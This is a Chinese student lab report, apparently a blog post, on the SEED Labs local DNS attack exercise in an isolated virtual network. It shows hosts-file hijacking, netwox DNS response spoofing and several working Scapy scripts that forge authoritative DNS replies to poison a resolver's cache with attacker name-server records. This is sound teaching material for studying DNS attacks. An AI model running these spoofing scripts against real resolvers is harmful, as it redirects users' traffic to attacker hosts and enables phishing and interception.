seed lab 2020 Local DNS Attack Report

实验环境:

User Machine’s IP : 10.0.2.8
Attacker’s IP : 10.0.2.7
Local DNS Server : 10.0.2.4

Task 1

打开/etc/resolvconf/resolv.conf.d/head文件,然后添加将10.0.2.4作为DNS服务器的记录,并重启加载配置使记录生效:

$ sudo vim /etc/resolvconf/resolv.conf.d/head
nameserver 10.0.2.4
$ sudo resolvconf -u

查找dns server设置成功的证据:

$ dig www.baidu.com

在wireshark中看到10.0.2.8主机向10.0.2.4发送了dns请求,然后10.0.2.4作为本地dns主机代替10.0.2.8向199.7.83.42发送了dns请求报文:
在这里插入图片描述

Task 2
step 1 & step 2 & step 3

因为主机中的option文件已经按照要求设置好,我们只需要重启dns服务器即可

step 4
$ ping www.baidu.com

在wireshark中观察到10.0.2.4向10.0.2.8返回了dns标准记录:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H7TDzz0c-1606305766979)(./picture/3.png)]

Task 3
step1 & step 2 & step3

在本地dns服务器中的下面三个文件中存入实验指南中要求的记录:

$ sudo vim /etc/bind/named.conf
$ sudo vim /etc/bind/example.com.db
$ sudo vim /etc/bind/192.168.0.db
step 4

在用户主机上执行:

$ dig www.example.com

可以看到dns服务器返回了www.example.com的记录信息

Task 4

假定我们攻破了用户主机,我们在该主机上添加下面的记录:

$ sudo vim /etc/hosts
10.0.2.7 www.bank32.com

分别执行:

$ dig www.bank32.com
$ ping www.bank32.com

dig命令的结果没有受到影响:

ping命令的结果受到影响,直接显示了对应ip是10.0.2.7:

Task 5

我们的目标是将www.example.net的地址定向到10.0.2.7,为此我们用netwox返回ns.example.com到10.0.2.7的映射记录:

$ sudo netxow 105 --hostname www.example.net --hostnameip "10.0.2.7" --authns "ns.example.net" --authnsip "10.0.2.15" --device "enp0s3" --filter "src host 10.0.2.8"

可以看到dig的结果受到影响:

image-20201107113035952
Task 6

相比于每次攻击用户主机发出的dns报文的方法,直接攻击dns服务器可能是更好的选择。而由于dns服务器每次在遇到需要解析的主机名时都会先查看缓存,如果没有缓存再询问,所以我们选择攻击dns服务器的缓存。

首先我们清空dns服务器的缓存:

$ sudo rndc flush

在攻击主机执行:

$ sudo netwox 105 --hostname www.example.net --hostnameip "10.0.2.7" --authns "ns.example.net" --authnsip "10.0.2.15" --device "enp0s3" --filter "src host 10.0.2.4" --ttl 600 --spoofip raw

然后在用户主机执行:

$ dig www.example.net

我们通过dns服务器的wireshark观察到ip为10.0.2.7的攻击主机为dns服务器返回了dns应答报文

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4PnmHuMB-1606305766979)(C:\Users\大菠萝\AppData\Roaming\Typora\typora-user-images\image-20201107115825701.png)]

在dns服务器执行(记录太多通过grep查找):

$ sudo rndc dumpdb -cache
$ sudo cat /var/cache/bind/dump.db |grep example

看到添加了ns.example.com的记录:

Task 7

根据需求编写代码:

from scapy.all import *
def spoof_dns(pkt):
        if (DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
                IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
                UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.7')
                NSsec1 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='attacker32.com')
                Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='10.0.2.15')

                DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
                     ancount=1,nscount=1,arcount=1,an=Anssec, ns=NSsec1, ar=Addsec1)

                spoofpkt = IPpkt/UDPpkt/DNSpkt
                send(spoofpkt)

pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)

用户端执行:

$ dig www.example.net

看到结果已经被修改,并且example.net域名下的地址都指向ns.attacker32.com域名

我们加载新的cache,看到attacker32.com.已经被当作权威域名:

接下来我们试图在用户主机上访问example.net域名下的地址hello.example.com:

$ dig hello.example.net

在wireshark上观察到dns服务器试图向attack32.com询问hello.example.net的ip地址,说明我们的攻击成功:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XKk1ebhf-1606305766980)(C:\Users\大菠萝\AppData\Roaming\Typora\typora-user-images\image-20201107152334586.png)]

Task 8

根据要求再增加一条ns记录:

from scapy.all import *
def spoof_dns(pkt):
        if (DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
                IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
                UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.7')
                NSsec1 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='attacker32.com')
                NSsec2 = DNSRR(rrname='google.com', type='NS',ttl=259200, rdata='attacker32.com')
                Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='10.0.2.15')

                DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,ancount=1,nscount=2,arcount=1,an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1)

                spoofpkt = IPpkt/UDPpkt/DNSpkt
                send(spoofpkt)

pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)

可以看到增加了google.com的ns记录:

Task 9

增加两条附加记录:

from scapy.all import *
def spoof_dns(pkt):
        if (DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
                IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
                UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.7')
                NSsec1 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='attacker32.com')
                NSsec2 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='ns.example.net')
                Addsec1 = DNSRR(rrname='attacker32.com', type='A',ttl=259200, rdata='1.2.3.4')
                Addsec2 = DNSRR(rrname='ns.example.net', type='A',ttl=259200, rdata='5.6.7.8')
                Addsec3 = DNSRR(rrname='www.facebook.com', type='A',ttl=259200, rdata='3.4.5.6')

                DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,ancount=1,nscount=2,arcount=3,an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)

                spoofpkt = IPpkt/UDPpkt/DNSpkt
                send(spoofpkt)

pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)

可以看到记录发生了改变:

  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值